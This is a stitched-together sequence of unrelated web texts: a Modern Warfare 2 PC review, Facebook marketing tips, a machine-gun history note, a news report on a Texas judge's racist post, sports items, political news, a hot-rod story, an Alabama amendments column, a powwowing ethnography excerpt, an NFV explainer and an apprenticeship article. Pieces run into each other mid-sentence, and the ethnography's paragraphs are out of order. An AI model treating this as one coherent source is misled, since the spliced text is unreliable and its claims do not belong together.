Even memorable moments such as racing full-speed down an alpine incline aboard a snowmobile (and believe me, it is memorable) have been dulled somewhat by the game providing you with a SMG that shoots some kind of heat-seeking ammunition. Travelling at 150kph and you need to take out an enemy snowmobile a hundred metres away using only one hand? No problem. I know the game isn't supposed to be a realistic representation of warfare - we have ArmA II for that - but removing the obvious Hollywood moments would have made for a better campaign. Strangely enough, the only time in which Infinity Ward actually break away from the hollow world of international cliché smuggling is when they provide you with the ability to massacre hundreds of civilians in an airport. I'm not sure whether to applaud them for temporarily smashing down the wall in a title that could generally pass for a mediocre day at the rifle range, or deride them for doing it in such a crass manner.
Graphically speaking, Modern Warfare 2 is a step above Call of Duty 4 as far as destructible environments and character animation goes. As for the outdoor locations however, I couldn't really notice a great deal of difference. The draw distance is acceptably deep, with plenty of sniping opportunities. The indoor areas suffer from repetitive textures and dull lighting effects, but this is largely offset by the accurately modelled enemies who distract your attention sufficiently, particularly when crumpling realistically after a satisfying shot to the kneecap. Crysis this is not however - even at the maximum 4xAA and with all details cranked up my two year old Core 2 Duo 8800GTX machine didn't miss a beat.
Enough about the campaign - chances are you'll probably only play it once anyway. No, the real reason this article exists is to detail the multiplayer component, in particular, the performance of the online matchmaking facility that has replaced the dedicated server mechanism that worked flawlessly anyway.
The way this works involves selecting your particular choice of gameplay mode from a comprehensive list that includes all manners of death match, free-for-all, sabotage, domination, capture the flag, search and destroy, headquarters and ground war offensives. Naturally, you'll need to manipulate Steam first, as well as have the right credentials for iw.net. Hardcore modes are limited to Ricochet S&D and team deathmatch only, and a new third-person mode has been introduced that features team and cage matches. Not all these modes are available out of the box, you'll need to level your profile up until you can unlock them all, again indicative of the continuing constraints Infinity Ward seem determined to place on this release. The third-person perspectives are particularly baffling - are they an innovative new way to provide additional gaming content, or is this some subtle suggestion that the next Call of Duty will be shipping with a controller?
The matchmaking appears to work largely based on your connection strength. Or, at least, if it's designed to work in any other manner it's broken, because the game thought nothing of placing me against other players that were twenty ranks ahead. I'd like to report on the latency with some actual figures, however they've removed numerical ping and replaced it with a signal bar not unlike that found on a mobile phone, so this arbitrary scale is irrelevant and yields no clues as to what sort of a compensatory game I need to play. My eye-chrometer suggests around 150msec across the board, however.
Lag? You bet. Within a matter of minutes I'd been fragged by a bouncing avatar that transported itself across the map, and that doesn't include the noticeable banana bullets that occur just too frequently to ignore. Based on this, it's fairly clear to see why they've limited the game to nine per side, I'd hate to see what it looks like with Modern Warfare's original 64 player limit, presumably like a very tedious slide show from a trip to Borneo. It's of absolutely no interest to me how well the rest of the developed world can play this title online, if it's a miserable experience for Kiwi players then Infinity Ward have dropped the ball, plain and simple.
Killstreaks and perks have been modified somewhat, you can now gain additional points for preventing another players killstreak, along with awards for ranged shots, crouching more frequently, your general proximity to combat, etc. There are subtle modifications to the way in which you can spend your killstreak points too, as well as titles you can select for your character as you gain ranks. In fact, almost every bonus attribute you'll happen across reminds you of the original Modern Warfare, but with a kind of veneer added in a way that almost begs you to believe that the developers have been busy.
The Special Ops mode is a refreshing addition to the franchise that gives you the ability to play either solo or with a team-mate across a variety of short levels with specific objectives. You may need to reach an evacuation point, or shoot a number of terrorists whist avoiding civilian casualties, and there are a bunch of stars to collect in order to rate your prowess against others. Why this is limited to two people is unknown, perhaps Infinity Ward felt that they'd done enough to impress the split-screen console fanbase, or perhaps they'll charge you for some DLC later to open it up, whatever the reason it's unlikely to be altruistic.
From the outset, it seems clear that Infinity Ward have little to no interest in pursuing the PC as a viable development path for the Call of Duty franchise. You can't modify Modern Warfare 2 in any way. You can't bring down the console for any custom commands. You can't lean. There's no way to kick or ban players in a ranked match. Free DLC? Forget it. The lack of dedicated servers will hit the community hard, and the utter nonsense that the host latency advantage causes with console titles seems to have made the transition across to PC in arguably the most anticipated release of the year. The reason for this is simple - it's a money grab. The PC population that has supported and nurtured this franchise from inception will now play second fiddle to the greed of a company that has tasted success on the console, and will now seek to reign in all control of their IP to wring every last cent out of.
I firmly believe that for the Xbox 360 and PlayStation 3 that our console review is spot on the money. It is a 95% game for those platforms, it's a great contender for Game of the Year and it'll probably sell better than Tamiflu. Unfortunately however, Call of Duty: Modern Warfare 2 for the PC is simply a next-gen console game with mouse support, in-game text chat and rudimentary graphics options. Infinity Ward have made it pretty clear that as a PC gamer, your platform advantages don't count, and neither does your community, your history and your considerable modding skills.
Make of that what you will.Is your small business on Facebook?
Are you looking for better ways to engage your fans?
Small businesses are winning on Facebook more than ever before.
In this article you’ll find 11 ways small businesses can improve engagement and drive sales with Facebook posts.
#1: Move Your Audience to Action
Litographs is an online store that creates art from books. They sell posters, t-shirts and tote bags, so right off the bat they have some great visual content that appeals to readers.
The company uses their Facebook posts to drive sales, but they also do a good job of entertaining their audience with questions and humor.
Litographs came up with a fun idea to create temporary tattoos of sentences from Alice in Wonderland. They invited 5,000 people to join the world’s longest tattoo chain. This kind of idea is a great way to mobilize your audience and make them part of something special.
Also give your community special discounts on Facebook—everyone loves a good deal.
#2: Host a Facebook Party
Mamavation is a website that teaches natural wellness and nutrition and champions GMO-free food and products. They have high engagement and use video, blog posts and images to educate their audience about making organic food choices.
The company recently held a fun Facebook party to give away gift certificates and discounts to people who engaged with each post.
Mamavation had several posts with different giveaways and also gave a discount to everyone. Many posts during the party included tips to educate their audience.
Images still get high engagement on Facebook, and the ideal image size is 470 x 470 pixels. Share something thought-provoking, inspiring or humorous for extra engagement.
#3: Show Personality
Through a Dog’s Ear is a small 7-year-old company that makes music to help calm anxious dogs. Their Facebook page is filled with personal photos of the founder and her dogs.
In the post above, notice that the company also tagged Wells Fargo, and Wells Fargo in turn liked the image. You can also use tagging and hashtags to get your posts more visibility.
#4: Incorporate Humor
Cool Mom Picks is a website that curates gifts, gear, tech and resources for moms. They have great video tutorials and they bring together interesting finds in blog posts. They also use humor and show some personality in their posts.
Text-only posts are not dead and can still get great engagement. Don’t be afraid to push the envelope a little with your humor if that’s part of your brand.
#5: Have Fun
Authors sometimes wonder what to write about on Facebook—which is funny, since they’re writers. If you’re between projects, think about using Facebook as it was originally intended: a social site where you let people know what you’re doing.
Author Erica Spindler does a great job of getting personal and having some fun. Share things that you find funny or you feel are important for people to know.
#6: Be Responsive
Make it a habit to respond to comments quickly, as Erica Spindler did in the post below. When you do that regularly, you’ll get more engagement with your posts.
#7: Create a Facebook Event
While libraries aren’t necessarily small businesses, many struggle with engagement and connection.
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Lawrence Public Library uses humor and also takes advantage of Facebook events. They use things like Throwback Thursday or Caturday memes to take advantage of fun trends.
If you have events on Facebook, reshare them, post in the events to get more visibility and encourage people to join them.
Ask your fans to share pictures in posts or on your page to get more engagement. When people share their passions with you, they’re more connected to your brand.
#8: Post to Your Page and Profile
David Newman of Do It Marketing uses his Facebook page and personal profile to market his business, which helps speakers get more opportunities.
He’s connected with many speakers personally, so it makes sense for him to get extra traction by posting about his business on his personal profile. If you occasionally share your business page posts on your profile, you can extend your reach.
David has a Speaker Booking Machine cheat sheet and uses his cover image to showcase that opt-in with a call to action button.
Below, he posted to his personal profile with a slightly different twist, telling people to leave a comment if they wanted to get the cheat sheet. That led to a lot of comments (social proof) and more visibility for this post.
This post led to 550 cheat sheet downloads, 120 signups for a teleseminar and 33 sold seats to a $777 program—all without any spend on Facebook ads.
#9: Invest in Videos
Videos are huge on Facebook, and Learn Cake Decorating Online uses them effectively on their page. They have a featured video and regular quick videos that get lots of views and engagement.
The company also uses the 22Social app to give away a free video class to build the email list and then offer a membership to people who sign up.
#10: Provide Great Local Content
Realtors sometimes find Facebook a challenging place to market. Posting images of houses is great, but Realty Austin offers great local content, too.
They’ve created their own guide to viewing bluebonnets in Austin. This content provides a service to potential customers beyond real estate.
Creating content takes time, but it can be a huge driver for awareness and new customers.
Realty Austin goes a step further on their website and tells people to post directly to their Facebook page if they have something to add. This gives website visitors a reason to check out their Facebook page, too.
#11: Go Behind the Scenes
Getting personal on Facebook is a great tactic, but so is giving your community a sneak peek at something no one else can see. The Celtic band Barra MacNeils literally takes people behind the scenes during their shows.
Conclusion
Most of these examples illustrate what’s working for small businesses in their Facebook updates. For your business, focus your energy on getting into the news feed. If you’re having trouble, consider boosting key posts that are engaging and interesting to your fans to reconnect with them. Facebook can drive a great deal of traffic to your website, but concentrate first on getting your posts in front of fans.
Here are some key takeaways from these examples:
Use visual content, including good images and interesting videos.
. Add a personal touch, which can help differentiate you from other small businesses.
Incorporate humor and have fun—that always gets engagement.
How about you? Are you a small business using Facebook? Are you working on improving your Facebook engagement? What’s working well for you? Share your thoughts with us in the comments below.https://jamesdjulia.com/item/52517-1-397/
When the French first began testing machine guns in the late 1890s, they were one of the few countries that did not purchase quantities of Maxim guns. One of the reasons was that in France’s North African colonies, transporting water for guns was considered an unnecessary liability. Instead, France purchased a number of air-cooled Hotchkiss machine guns for its colonial forces. For the French Metropolitan Army, it wanted a gun designed and produced by its own arsenal system. And so, the Puteaux Arsenal developed the Modele 1905 gun.
This was a gas trap style of action, pulling an operating forward with each shot. The gun was adopted and put into service, and as with every other military user of gas trap guns, the French quickly found the system to be seriously flawed. The St Etienne Arsenal set about improving it, and came up with the Modele 1907, which retained the forward-moving operating rod but used a gas piston instead of a gas trap. This would be the machine gun which France would enter World War One with, and more than 40,000 would be manufactured by 1917.
The Modele 1907 St Etienne gun is a magnificently Victorian machine gun, with a downright Swiss-like rack and pinion system running its action. It would have been truly at home on a Napoleonic battlefield - but not a World War One battlefield. The gun was not well suited to the muddy hell of trench warfare, despite its beautiful machining and quality. Looking for both a lot more guns and also a more field-reliable system, the French began buying a great many Modele 1914 Hotchkiss machine guns, and they would replace the Modele 1907 by the end of the war.
One cannot fault the French for this change, and yet it still seems sad to see such a gorgeous piece of metal fabrication be sidelined - complete with its hydraulically adjustable rate of fire, its fine toothed feed spool, its sights with the spring and lever system to accommodate heat-induced change of aim and its magnificently extravagant flash hider.
http://www.patreon.com/ForgottenWeapons
Cool Forgotten Weapons merch! http://shop.bbtv.com/collections/forgotten-weaponsA Texas judge was reprimanded Monday for a Facebook comment left on a police department's Facebook page about the arrest of a black man accused of killing a white San Antonio Police Department officer.
"Time for a tree and a rope...."
That was the complete comment from Judge James Oakley of Burnet County that appeared below the police department's announcement on Facebook that the agency made an arrest in November in connection to the death of officer Benjamin Marconi. The Texas Commission on Judicial Conduct opened proceedings after 18 complaints were made about Oakley's comment on the arrest of Otis Tyrone McKane, whose case is pending.
The commission released its findings on Monday and noted that the judge's defense is that he was trying to be funny. "Judge Oakley explained that a 'tree and rope' was a reference to the humorous advertising campaign for Pace Picante Sauce salsa from the 1980s," the commission noted (PDF). One of Pace's commercials ended with an old-West cowboy saying "get a rope after a cook attempted to substitute salsa made in New York City instead of San Antonio, Texas.
In the end, the commission concluded that the judge violated a judicial cannon demanding that judges act impartially. The agency mandated that the judge take four hours of racial sensitivity training and 30 hours of judicial training.
"The commission concludes from the facts and evidence presented that by posting the Facebook post, Judge Oakley cast reasonable doubt on his capacity to act impartially in the performance of his duties," the commission wrote.
The judge apologized. He said he immediately deleted the comment because it was "off the cuff" and "indeed curt and harsh."
"It is for that reason that I deleted it soon after posting and apologize for not being more thoughtful and comprehensive in my expression," Oakley told the American-Statesman in November. "What I should have posted, if anything, is a comment that more clearly reflects my opinion on the cowardly crime of the senseless murder of a law enforcement officer."
A screenshot of the Facebook comment likely brought more publicity to Oakley's actions. A Texas reporter, James Walker, got the screenshot, which was then widely distributed online.
Burnet County, with a population of 45,000, is about 50 miles northwest of Austin, Texas.The Los Angeles Lakers finally began to make some noise in this off-season. The Lakers agreed to terms with reigning Sixth Man of the Year Lou Williams on a three year, $21 million contract in hopes of boosting their scoring off the bench.
— Think You Know Everything About Kobe Bryant? Take The Ultimate Kobe Quiz! —
After agreeing to the deal, Williams recently had an interview with Alex Kennedy of Basketball Insiders and spoke about appreciating how the Lakers are working towards becoming a competitive team again:
We’ll see the final product once we’re going into training camp. I appreciate the fact that they are making moves and they are trying to become a competitive playoff team again. They’re trying to get back to the winning that they’ve always had. I’m really looking forward to my future there.”
The Lakers have always maintained that they would do everything to improve the roster in hopes of winning immediately and their moves this off-season fits in with that mindset. In addition to agreeing with Williams, the Lakers are also trading for center Roy Hibbert and agreed to a deal with veteran forward Brandon Bass.
The Lakers did not get off to a good start in free agency as they missed out on all of their top targets. LaMarcus Aldridge, DeAndre Jordan, and Greg Monroe all chose other teams over the Lakers. Even after losing out on the big-name players, the Lakers’ backup plan is extremely solid.
The Lakers now have an intriguing mix of veteran players and promising rookies heading into next season, and there are still more moves that will likely be made. Williams sees the promise with the organization and the current roster and things finally seem to be looking up for the team.
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Please enable Javascript to watch this video(CNN) The possibility that President Donald Trump's revised travel ban may pass legal muster doesn't make it ethical, Rep. Keith Ellison said Friday.
"Just because it's legal doesn't make it right," Ellison, the first Muslim elected to Congress, told CNN's Alisyn Camerota on "New Day."
The new travel ban came weeks after Trump's original executive order was temporarily blocked by federal courts. The revised order removes language in the original that indefinitely banned Syrian refugees and called for prioritizing the admission of refugees who are religious minorities in their home countries. It also bans immigration from six Muslim-majority countries.
The Minnesota Democrat said that regardless of revisions, the origin of Trump's controversial executive order is religious discrimination.
"It starts out with bad intentions. He campaigned on a Muslim ban. He said that explicitly," Ellison said. "It has changed, but it's not changed to the point where it's no longer intended to harm and block people based on their religion."
Ellison said the Trump administration still has not presented evidence that the ban protects Americans from terrorism. He said the list of banned countries -- Iran, Libya, Somalia, Sudan, Syria, and Yemen -- does not include any nations that have had immigrants commit acts of terror in the US.
"The list is actually irrational. The problem with trying to cleanse it from its original taint is that then you end up with just an irrational policy that doesn't have any real point," the congressman said.
When the revised order was announced on Monday, administration officials stressed they did not see the ban as targeting a specific religion.
"(The order is) not any way targeted as a Muslim ban... we want to make sure everyone understands that," an official told reporters.
Ellison's district includes a sizable amount of immigrants and refugees from east Africa. He said keeping them from immigrating to the US is a matter of life and death.
"Right now, east Africa is going through a major drought and famine," Ellison said. "I have a lot of people from Somalia in my district and they have loved ones in the middle of this drought."
Ellison, deputy chair of the Democratic National Committee, also discussed Republicans' efforts to repeal and replace the Affordable Care Act. He said Democrats will focus on communicating the insufficiency of the replacement plan |
but as I said before, I'd stand by the opposite. The patina has been embraced, but underneath the rust and the rough edges is a frame, suspension system, and driveline that is new and thought out in every way. Everything shines with satin and gloss black, lurking underneath the aged outside where no one will be the wiser. I wanted a vehicle that was reliable, well built, and that, beneath the skin, hinted at a project that was thought out and carefully planned. A build that was completed from the heart. Everything from the 5" drop axle and the springs, spindles, and brakes (thanks to Adam's Rotors), to the triangulated 4-link, rear coilovers, and drums - it's all brand new, providing a driving experience that finds itself on edge between absolute insanity and surprisingly impressive comfort.
As said, it's the drive that has been the payoff. While I can't help but stop and stare every time I get out of the car, the urge to get back in takes the smile from obvious to "wow, my cheeks hurt." The raw, loud scream of the BMW V8 is only made better by the paralleled bite it imparts. Without proper respect to the accelerator pedal, the rear end ignites the tires and scrambles down the street at a sideways angle. The speed of the truck is immense - faster than any car I've built before - and it puts a grin on my face every time I mash the throttle. But within mere seconds, I'm forced to let out as the archaic suspension struggles to keep the front end planted and the tires continue to spin through third at 70 miles per hour. It's sheer power, and it is the reason hot rodding exists.
The ride is smooth and the track is straight - the frame of the truck has yet to smack the asphalt on the highway; however, it's seen plenty of abuse as it struggles to get over the high point of every parking lot entrance. But as you're all aware, the struggles are worth the effort. The vision-robbing front windshield is only a few inches tall, requiring patience and an arched back for any type of reasonable view of the road. The pedals sit far too close, thanks to a channeled floor and the massive transmission riding shotgun. The steering wheel is only 10 inches in diameter - any bigger and you'd find your arms colliding with your knees in every turn. But the awkward seating position and lack of room is worth it, for who can argue the style?
While I could go on forever, I must let the pictures do the talking. We'll be here all day if not. What I will still say, however, is that this build taught me a lot. It taught me the fundamentals of welding, the fundamentals of beam suspension, and the fundamentals of basic fabrication - all applicable on my next build. It taught me about hot rodding - what it means to be a hot rodder and how important the essence truly is. It about motoring history and what makes up the Model A world. But most importantly, this truck taught me the reasons to build a car: for the challenge it provides and for the ways in which it can push me and make me grow as a car enthusiast. It taught me that if I don't push myself, I'll never grow... and for me, this is hot rodding. Now, with a car built from scratch under my belt, I'm ready for the next one. This was just a practice run. It's time to rebuild Rusty Slammington.There's one solid rule when it comes to amending Alabama's impenetrable constitution:
If in doubt, say no.
In November, voters will be asked to approve 14 confusing and debatable amendments, which is like adding 14 more ineffectual chapters to War and Peace. Ours is the longest constitution in America and probably the world, a dodgy document from the start, convoluted and confused by so many absurd amendments that nobody anywhere is a genuine expert on all it says.
These 14 would push the number of amendments to Alabama's constitution above 900 - or 34 times as many amendments as the U.S. Constitution. The U.S. Constitution has its bill of rights. Alabama's is a bill of goods.
So my default is no. If there is a shred of doubt about an amendment, just say no.
Amendment 1, changing the way Auburn University Trustees rotate off the board. Perhaps it's an innocuous housekeeping. Or perhaps it's a way to keep Trustee Jimmy Rane or someone else on the board just a tad longer. Not today.
Amendment 2 would ban shifting state park money to other uses, and would let parks uses private companies for some park operations. I'm a fan of keeping park money in the parks, but if the privatization language makes your squeamish, default to doubt.
Amendment 3, changing the way local constitutional amendments are voted on. If the Legislature unanimously agrees, a local amendment would only be voted on by the county in question. It speaks to the absurdity of the constitution, but cleans up the ballot and clears some of our constitutional nuisances. It's a yes.
Amendment 4 would give a little more home rule to county commissions. If you think the best government is the most local, this one is a yes.
Amendment 5 would reorganize sections of the Alabama Constitution that address Alabama separation of powers, purportedly not changing the substance of those powers. So why? Why why why? It's a no.
Amendment 6 would clarify a two-thirds vote of the Alabama Senate to impeach a state official. They ought to be clarifying this one in a year when they are not trying to impeach a governor. Unless this is a referendum on the future of Robert Bentley.
Amendment 7 is local to Etowah County, which is one of the stupid things about Alabama's constitution. If you don't live in Etowah County, just butt out and don't vote on it.
Alabama is already a "right to work" state, meaning employees can't be forced to join a union. Amendment 8 would "enshrine" that in the state constitution. Because we need more enshrining. No.
Amendment 9 would let judges in Pickens County be appointed until the age of 75. Which makes the spider sense tingle enough to say no. But if you aren't from Pickens County, stay out of it.
Amendment 10 is local to Calhoun County. If you ain't from around there, don't meddle.
Amendment 11 would immortalize and incentivize manufacturing zones for business recruitment, which have no business in a constitution. No.
Amendment 12 would set up a governing body to oversee Baldwin County toll roads. Again, if you live in Baldwin make your pick. If you don't, skip it.
Amendment 13 would remove age restrictions and ban future age restrictions for government officials, except for judges. Oh hell no.
And Amendment 14 would guarantee that bills passed in questionable circumstances under Budget Isolation Resolution would remain in effect, rather than face possible court challenge. You might as well call it the "we-play-by-our-own-rules-and-we-make-'em-up-as-we-go-along amendment. No, on 14, even if it could allow challenge on 600 local bills. The bill that spawned this amendment, after all, could create a slush fund for Jefferson County legislators.
If they have to follow the rules of the constitution in the first place, maybe they will see a need for a new one.The uptick in Texans wide receiver DeAndre Hopkins' production coincided with several factors Sunday.
The Pro Bowl alternate was involved more heavily, targeted 11 times overall as he caught seven passes for a season-high 123 yards.
Hopkins got the football on time and in space from quarterback Brock Osweiler, who was pressed into the game in relief of injured starter Tom Savage.
And the Texans utilized a no-huddle offense, creating more tempo and keeping the Tennessee Titans' defense off-balance. That included a 51-yard catch-and-run by Hopkins.
It's a welcome development for the Texans as they prepare for Saturdays' AFC wild-card playoff game against the Oakland Raiders.
"He did a good job of reading the coverage and getting him the ball," Texans coach Bill O'Brien said of Osweiler, who struggled to connect regularly with Hopkins during his previous time as the starter. "Some of those were catch-and run- type plays. Hopkins did a nice job in the open field. Once you get him the ball he's a very explosive player. So, it was good on both ends: good catches, good routes, good reads, good throws. I thought both guys executed well."
Despite the uneven play of Osweiler for the majority of the season, Hopkins finished with a respectable 78 catches for 954 yards and four touchdowns.
Hopkins wasn't entirely satisfied with his game Sunday, though.
"I should have had more, if you ask me," Hopkins said. "I'm pretty hard on myself, some things I could have done better."YourDread 48 (Avatar)
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The KadeshiAccordingly, my fieldwork involved a great deal of detective work, tracing consultants through people who knew other people and so forth. Much of it was sheer luck (walking into the right business establishment or farm and catching the right people in, having people overhear me as I performed documentary research at historical societies and libraries, and so forth). However, I was able to obtain information on at least seven living powwowers in southeastern and south-central Pennsylvania, and have reports that 8 to 12 others also exist in that region. Two of these, a Mrs. May in Lebanon County and Jenine Trayer (aka Silver RavenWolf) are open about their powwow practice. The former advertised her powwow practice on a placard outside her business at least as late as 1999 and the latter, a popular contemporary neo-Pagan writer, has
1. There is a perception within the culture area that powwowing is no longer practiced and less than half of the people I spoke with had even heard of it; 2. Former patients and practitioners are afraid that others will label them crazy, or at a minimum, old-fashioned and dutchy; and 3. There is sizable religious opposition to the practice, particularly among Conservative (Eastern) Mennonites, many of whom consider powwowing and other esoteric traditions to be the work of Satan.
P owwowing, or brauche in the Pennsylvania Dutch dialect, is a magico-religious practice whose chief purpose is the healing of physical ailments in humans in animals, although it has had other aims as well, such as conferring protection from physical or spiritual harm, bringing good luck, and revealing hidden information. The practice has been present on this continent since the first German-speaking settlements were established in Pennsylvania in the early eighteenth century, although it has its roots in much older German esoteric traditions (Yoder 1976). My research focused on powwowing as it has existed in south-central and southeastern Pennsylvania today throughout the twentieth century, with emphasis on the present day. I performed ethnographic fieldwork in Adams, Berks, Bucks, Lancaster, Lebanon, Lehigh, Montgomery, Schuykill, and York Counties. Tracking down existing powwowers and powwow clients was difficult for three reasons:The popularity of Sadiq Khan is on the rise, as well over half of Londoners believe he is doing a good job.
A new poll finds that Khan, who was elected as London mayor in May with more votes than any single politician in British history, is seen to be doing a good job by 58 per cent of people in London – with even a majority of Tory and Lib Dem voters agreeing.
The YouGov poll for today’s Evening Standard found that Khan’s personal ratings have leapt since July, when 45 per cent said he was doing a good job, and that his popularity far outstrips Theresa May’s in the capital, with the new PM only endorsed by four in ten Londoners.
More than two thirds of Labour supporters in London, 70 per cent, believe Khan is doing well, while 61 per cent of Lib Dems and 51 per cent of Tories agree. Overall, just 14 per cent of people in London think he is not doing a good job as mayor.
The most common attribute associated with Labour leader Jeremy Corbyn by voters in London is that he is principled, with 41 per cent using it to describe the Islington North MP. He is seen as honest by 29 per cent, and courageous by 21 per cent.
However, 32 per cent said they do not believe Corbyn will win the next election, more than three times as many who said that he will. More than a quarter also that the Labour leader is “divisive” and “deluded”.
While only one in four said that Corbyn “does not share my political outlook”, that is around double the number who said the he does.The problem: As mobile devices continue to proliferate, the Internet of Things keeps growing immensely, and more users and new data are pushed across telecom networks every day, network operators must invest in expanded facilities. The revenue from mobile applications is tied to number of devices/consumers not amount of data consumed. As time goes on, average revenue per user will remain flat or even decrease as data demand will increase significantly over time.
And these demands are elastic, they fluctuate. For example, during a sports event, or on election night, video streaming demand spikes for a few hours, then quickly dissipates.
Why can’t current network provider solutions satisfy these needs?
Historically, proprietary hardware was used because it offered performance and capabilities that commodity hardware could not provide. Telecommunication service providers bought, and were locked into,expensive custom hardware and chipsets to run their networks. Service providers would attempt to predict peak demand, and then purchase and provision sufficient infrastructure to handle this peak traffic load, which may only happen infrequently. Provisioning of new services involves the purchase and deployment of hardware, with a lead time of months before it was ready for production deployment. These hardware appliances, with short lifecyles, would quickly reach end of life, requiring the purchase and install cycle to be repeated with perhaps limited revenue benefit.
The NFV solution
Today, Network Functions Virtualization (NFV) takes software applications that run on proprietary hardware and allows them to run on standard x86 servers. This allows core network infrastructure to dynamically allocate network, compute and storage to satisfy workloads on-demand. It also allows you to move these workloads to different servers, or even different data centers as needed, and to scale up or scale down without changing the underlying hardware. NFV provides you with a modern agile environment to respond to customers needs, get to market quickly with new services, and reduce both capital and operational expenditures.
The old approach Expensive proprietary hardware
Physical installation required
Less competition means less innovation The NFV approach Indepedendent software vendors
Easily orchestrated install process
Commodity servers and hardware
The Benefits of NFV
Network functions virtualization offers many benefits to providers of telecom services, including:
Decoupling the software from the hardware allowing network functions to run as virtual machines on standard x86 hardware.
Exploiting economies of scale by consolidating many applications and networking appliances onto industry-standard high-volume servers, switches, routers, and storage.
Transforming network functions into elastic, pooled resources that can scale up or down as needed.
Speeding time to market by minimizing the cycle of innovation.
Targeting service introduction based on geography or customer sets.
Why develop NFV with open source?
Without community collaboration, individual vendors independently implement NFV solutions, thus the goal of industry interoperability is difficult to achieve. This fragmentation dilutes resources and leads to divergence, from which users don’t benefit.
Open source communities and NFV can support each other in many ways.
Open source projects ease support of NFV features, and solve major technical implementation challenges including obtaining high performance using industry standard servers.
Open source communities can create the software code or hardware necessary to implement NFV solutions based on common industry requirements.
An open source community shares the burden of integration, testing and validation of Network Function Virtualization solutions, which results in increased industry-wide interoperability, reliability and efficiency that can shorten time to market.
The community provides a common foundation for deployment of Virtual Network Functions. Thus, the customer risk in identifying, testing and deploying new functions that interoperate with each other is mitigated.
Openness enables a wide variety of ecosystems and encourages openness, which is open to software companies and academic institutions.
The Open Platform for NFV (OPNFV) is a new open source project that will enable industry collaboration to advance NFV and ensure a consistent interface among virtual infrastructure platforms for the deployment of network functions. The OPNFV project provides an open reference platform for the deployment of Virtual Network Functions (VNF). OPNFV can benefit its members and community by creating a collaborative development of an open source platform to promote interoperable NFV solutions, and stimulating existing open source communities to create software code or hardware for NFV solutions based on common industry requirements.
The telecommunication industry is ripe for agility, modernization and standardization, all of which are best achieved using open source software.Three is the magic number - and nobody knows this better than Ireland’s very own triplet models.
Three is the magic number - and nobody knows this better than Ireland’s very own triplet models.
'All hell breaks loose when we're out together,' say these identical Irish model triplets
Laura, Nicola and Alison Crimmins (29), from Dundalk, have been modelling since they were schoolgirls.
Well known on the photocall circuit in Ireland, demand for the trio has increased recently since an agency in England snapped them up.
And big things are lying in store for the triplets - although the sisters are keeping schtum for now.
The Crimmins triplets at a photocall in 2005
“We are very close and we have been doing modelling for a long time. We did a photo shoot in May, an English company approached us and we didn’t realise we’d get all the exposure from it. We’re absolutely thrilled,” Laura said.
“We have got good news. You might see us popping up somewhere,” she said.
Although the sisters like to keep to themselves, Laura admitted it can be difficult – because people stare at them when they’re out together.
“There’s a lot of head turning and a lot of people asking for photographs. First of all they say, ‘Twins’ but no, there’s another one,” she told the Herald.
The Crimmins triplets. Picture: Twitter
“We shy away from attention and we are very quiet. We kind of keep ourselves to ourselves, but it is nuts when we go anywhere.
“Walking through Dublin Airport, it’s crazy. We go through security and they make such a fuss seeing the three passports or going through the detector. All hell breaks loose.”
The siblings have been incredibly close all their lives, to the point where Laura said they can almost read each others’ minds.
“Definitely. You would know if there was something. We can read each other very well,” she said.
The Crimmins triplets. Picture: Twitter
“If I saw Nicola, I would know in her face there was something wrong,” she said.
The girls have been attracting some attention across the water in recent days due to their identical looks.
And that interest looks set to continue.
HeraldApprenticeships train workers early, often lead to jobs and are paid positions – whereas internships are often an unpaid luxury that only some can afford
Hillary Clinton will propose the creation of tax credits for businesses that hire and train apprentices during a campaign event in South Carolina on Wednesday.
The proposal from the frontrunner for the Democratic nomination for president seems designed to appeal to millennial Americans, who could cast the deciding vote in the 2016 election.
Apprenticeships are relatively unfamiliar in the US. But in many European countries - particularly Germany - they have been hailed for training young workers as early as high school in their chosen vocation.
Currently, many young Americans study for degrees in fields that have little to do with their jobs. This is partly because high college debts lead them to opt for a job in which they can earn a good wage rather than waiting to start a career in their field of expertise.
US unemployment at lowest since 2008 – but young people still can't find work Read more
Last month, more than 1.5 million 20- to 24-year-old Americans were unemployed. Their unemployment rate is 10.1%, down from 11.1% last year.
In addition, many US college graduates are underemployed - meaning they have taken on jobs that are just part-time and do not require the level of experience and education they might have attained. A recent report from the Economic Policy Institute found that the underemployment rate for this year’s graduates was 14.9% compared with 9.6% in 2007.
Proponents of apprenticeships say they could tackle this by helping young Americans get on the right career path as early as high school or early college.
In Germany – where youth unemployment is less than 8% – apprenticeships help young people gain experience in their chosen field and get their foot in the door while finishing their studies – often leading to a full-time job at the end.
German apprentices split their days between the classroom and the field, where they can gain hands-on experience in areas such as IT, hospitality or manufacturing.
The apprentices are also compensated for their time - a significant difference from internships, which may be unpaid or completed for college credit, meaning students actually pay for them through their college tuition.
Neither internships nor apprenticeships guarantee jobs at the end of their term, yet apprentices are more likely to find a job in their field upon completion of their training. A 2012 analysis by the Atlantic found that 36% of paid US interns received a job offer at the end of their internship, while just 17% of unpaid interns did. That same year, estimates put the number of unpaid US interns somewhere between 500,000 and 1 million.
In comparison, about half of Germany’s apprentices stay on with the company that trained them, according to NPR. Each year, Germany trains about 1.5 million apprentices, which means that about 750,000 people get jobs through their apprenticeship.
Not only are apprenticeships more likely to lead to a job, but they are more likely to help lower income Americans. Apprenticeships pay. They are the original entry-level jobs - with a weekly paycheck and on the job training. Internships, on the other hand, are often unpaid and as such are a luxury that only some can afford.
About 60% of Germany’s young people train as apprentices, according to the Atlantic. In the US, less than 5% do and most of them do so in construction.
The main obstacle to wider introduction of apprenticeships in the US is that higher education and a college degree are often valued above vocational training and blue collar jobs.
“Thus far, the US corporate sector does not see technical and vocational training as one of its key responsibilities,” Andreas Koenig, who served as head of vocational training and labor markets section at the Economic Development and Employment Department in Germany, told Bloomberg in 2012.
“It is therefore not yet ready to invest in technical and vocational education and training that goes beyond a few weeks of induction or learning on the job.”
That remains true today, even as US politicians are beginning to push for an increase in focus on such training.
German firms transplant European apprentice model to US Read more
Push for apprenticeships in the US
Clinton is not the first politician to posit apprenticeships as a solution to the youth unemployment crisis, either. Barack Obama has been attempting to get US companies on board with similar efforts for a while.
In his 2014 State of the Union address, Obama called for community colleges and employers to work together to create “more apprenticeships that set a young worker on an upward trajectory for life”. That April, Obama announced that he and Joe Biden had allocated $600m towards job training programs.
About $500m was to be dedicated to programs that linked community colleges with businesses, allowing graduates to find jobs while at school and after graduation, according to the Washington Post. The other $100m was to help with expanding existing apprenticeship programs through government issued grants.
Class of 2015: women are still making less than men – and prospects are poor Read more
Then in his 2015 State of the Union address, Obama renewed his call for businesses to create more apprenticeships, saying:
